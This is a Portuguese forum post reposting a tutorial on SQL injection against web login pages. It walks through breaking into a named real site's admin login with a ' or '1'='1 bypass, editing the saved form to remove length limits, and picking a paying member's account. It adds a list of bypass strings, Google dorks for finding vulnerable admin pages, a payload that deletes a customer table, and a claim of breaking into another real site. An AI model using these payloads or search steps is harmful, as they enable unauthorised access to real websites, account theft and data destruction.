bom pessoal ai vai um dica que peguei no e-mule depois de mta procura vlz.. que quiser tentar.. ai vai
Bem, esse tutorial eu peguei no emule, não sei mto de SQL, se vcs me quiserem ajudar executa-lo ....
Eis mais uma técnica para entrar em sites protegidos por senha.
(Você precisa de um mànimo conhecimento de linguagem SQL e programação WEB para usar este tutorial)
Alguns dos sites usam para autenticar os usuírios, uma tabela num banco de dados relacional que contém todos os logins e senhas que tem acesso. A jogada estí na forma como eles usam param autenticar usuírios: uma string SQL que é concatenada com o login e senha que o usuírio passa num formulírio.
Um exemplo de autenticação comumente usado (em ASP):
set ResultSet = conexao.execute("select * from tabelaUsuario where login='"+ request("login") +"' and senha ='"+request("login")+" '")
O script faz a consulta e testa: se voltou algum registro, o usuírio passou as credenciais corretas.
Aà que entra a nossa esperteza !!!
Podemos jogar nos campos de usuírio e senha, valores que forçam a volta de registros !!
Por exemplo:
Colocamos como login o valor [' or '1'='1] (Sem cochetes)
Colocamos como senha o valor [' or '1'='1] (Sem cochetes)
Veja o SQL que resulta quando estes valores são concatenados:
"select * from tabelaUsuario where user_name='"+ request("login") +"' and userPasswd ='"+request("login")+"'"
--> select * from tabelaUsuario where user_name='' or '1'='1' and userPasswd='' or '1'='1'
Repare que modificamos a lógica do filtro passado e agora a consulta vai voltar TODOS os registros da tabela de usuírio
Se o cara que fez o script não filtrou este tipo de entrada, jí era você entrou no site !!!!
O programador ainda pode usar JavaScript ou limitar o tamanho do campo de entrada para filtrar os dados, mas isto também pode ser facilmente burlado.
Exemplo prítico:
Vamos entrar em http://www.tufo.com.br/
1 - Primeiro veja se a pígina do site em questão é em CGI. Normalmente as píginas em ASP são as que mais apresentam estes furos pois são feitas por programadores inexperientes. Bem, a pígina de login do tufo é http://www.tufo.com.br/adm/login.asp
2 - Se você usar direto o valor [' or '1'='1](Sem cochetes) como login e senha vai receber esta mensagem:
3 - Quer dizer que o truque funcionou !! Mas ... o usuírio que estí no primeiro registro da tabela tem um campo dizendo que não estí mais pagando o site. Sem problemas podemos modificar o SQL para pegar outro registro. Antes disso, temos que salvar a pígina do formulírio de login no nosso disco pois o programador limitou o tamanho do campo. Com a pígina de login aberta ví no menu Arquivo -> Salvar Como -> Pígina da Web.
4 - Bem, agora você tem que modificar a pígina que vc salvou no disco. Abra-a no Bloco de Notas. Primeiro procure a tag <form e modifique o parâmetro action. Coloque o endereço completo para o arquivo asp trocando o valor (login_set.asp) para (http://www.tufo.com.br/adm/login_set.asp). Agora apaque os parametros "maxlength" das tags <input pois elas evitam que a gente escreva texto maior nos campos. Salve o arquivo e agora abra-o no Internet Explorer
5 - Vamos modificar o SQL para que a consulta volte ouro registro que não seja o primeiro.
Escreva no login [' or '1'='1](Sem cochetes)
e senha [' or '1'='1' and user_name like 'M%](Sem cochetes) *Descobri o nome do campo da tabela forçando erros na pígina
Isso fara com que o sql se torne:
select * from tabelaUsuario where user_name='' or '1'='1' and user_Passwd ='' or '1'='1' and user_name like 'M%'
Assim selecionaremos só usuírios que começam com a letra M (Normalmente, bons pagadores,)
Se tudo deu certo você recebera a mensagem de login vílido e entrarí no site
Como você viu, não é muito simples e não existe uma receita de bolo que sirva para todos os sites. Você tem que ter jogo de cintura para tentar descobrir nomes de campos e de tabelas e tentar criar consultas SQL forçadas que te deixem entrar no site. Em compensação são MUITOS os sites que apresentam estas falhas (pra vcs terem uma idéia eu jí entrei na írea de membros do astalavista.com com esta técnica)
Se você não sabe muito sobre SQL, é hora de aprender. E se você é programador web lembre de proteger seu site destes tipos de ataques !!! Você pode invadir uma rede usando CGI's mal feitos !!!
http://www.site.com/admin ou http://www.site.com/adm ou http://www.site.com/admin.asp.
M
--------------------
Inf. extras .:
Primeiro, algumas strings que podem ser usadas:
' or '1
' or ' 1
' or '1'='1
' or 1=1--
'or''='
' or 'a'='a
') or ('a'='a
'or '=1
Geralmente, se a primeira string nao der, as outras tbm nao darao, foi pelo oq eu testei......
Agora, vc estao c perguntando, e daih, como eu faco para achar as pags vulneraveis a SQL Injection, simples, faca isso:
Entre no Google ( http://www.google.com.br ), e digite qualquer uma dessas frases, de sua preferencia, todas elas procuram pag com login na parte de administrador:
allinurl:admin/index.asp
allinurl:admin/default.asp
allinurl:admin/admin.asp
allinurl:admin/login.asp
allinurl:admin.asp
allinurl:adm.asp
__________________________________________________ ___________________________________
SQL Injection
Afinal o que é sql injection? pode-se dizer que sql injection é o ato de "injetar" códigos SQL não esperados em uma aplicação com a finalidade de se obter acesso não autorizado ao banco de dados.
Uma forma de contornar essa vulnerabilidade é bloquear os caractes " ; ' --vejamos um exemplo bísico de sql injection temos o endereço fictàcio http://www.vitimaindefesa.com.br/clientes?id=1020 na montagem do sql seria passado os parametros: Select * from clientes where clientesID = 1020, agora imagine o que aconteceria se passemos o parâmetro ; junto a uma instrução sql, ainda não entendeu? então veja o exemplo: http://www.vitimaindefesa.com.br/client ... 020;Delete * from clientes entendeu agora a gravidade do problema? ainda não? então veja como ficaria a montagem da instrução sql: select * from clientes where clientesID = 1020;Delete * from clientes como ; é o separador de comandos automaticamente seria executada a instrução "Delete * from clientes" e toda a sua tabela de clientes seria totalmente apagada, mesmo que você tenha um backup, tente calcular o prejuàzo que isso traria jí que levaria um bom tempo para que o administrador pudesse detectar e corrigir o problema, mais não é só isso que se pode fazer com o sql injection existe inúmeras formas de se explorar essa vulnerabilidade, vamos ir um pouco mais afundo ... imagine que nos queremos entrar no sistema com uma conta de administrador por exemplo. Vamos analisar como é feita a autenticação de uma maneira simplificada para que seja de fícil entendimento:
select count(*) from clientes where clinome = 'usuariodigitado' and clisenha='senhadigitada'
Ainda não entendeu como faremos para entrar como administrador no sistema? imagine o que aconteceria se colocíssemos no nome de usuírio admin e na senha ' or 1=1 -- ainda não entendeu? então veja:
Select count(*) from clientes where cliname='admin' and clisenha='' or 1=1 --'
è lógico que essa sentença sempre serí verdadeira pois 1 sempre serí igual a 1. Tudo bem vamos dificultar um pouco mais as coisas imagine que o administrador do banco de dados, tenha uma noção de segurança e não usa contas com privilégios de administrador como a SA do mysql, nos queremos logar no site com a conta de todos os usuírios, então como saberàamos o nome de todos os usuírios do sistema? bem, com tudo que você aprendeu ate agora você jí é capaz de responder essa pergunta! let's go, vamos voltar ao inicio desse artigo quando foi mostrado comofazer simples consultas ao banco de dados usando o parametro ; usando agora select * from cliente pronto agora nos jí temos uma lista com todos os clientes, o que nós podemos fazer agora? isso jí é outra história e quem sabe em um outro tutorial sobre cracker e engenharia social.
Para finalizarmos quero deixar bem claro que o objetivo desse artigo foi discutir e mostrar alguns conceitos mais avançados sobre sql injection e acabar com essa visão limitada de que a única forma de explorar essa vulnerabilidade é usando ' or ''=' técnica alias que nem foi mencionada neste artigo, logo percebemos que o hijacking é uma arte onde receitas de bolos não funcionam pois o cozinheiro precisa ter criatividade própria.



Responder com Citação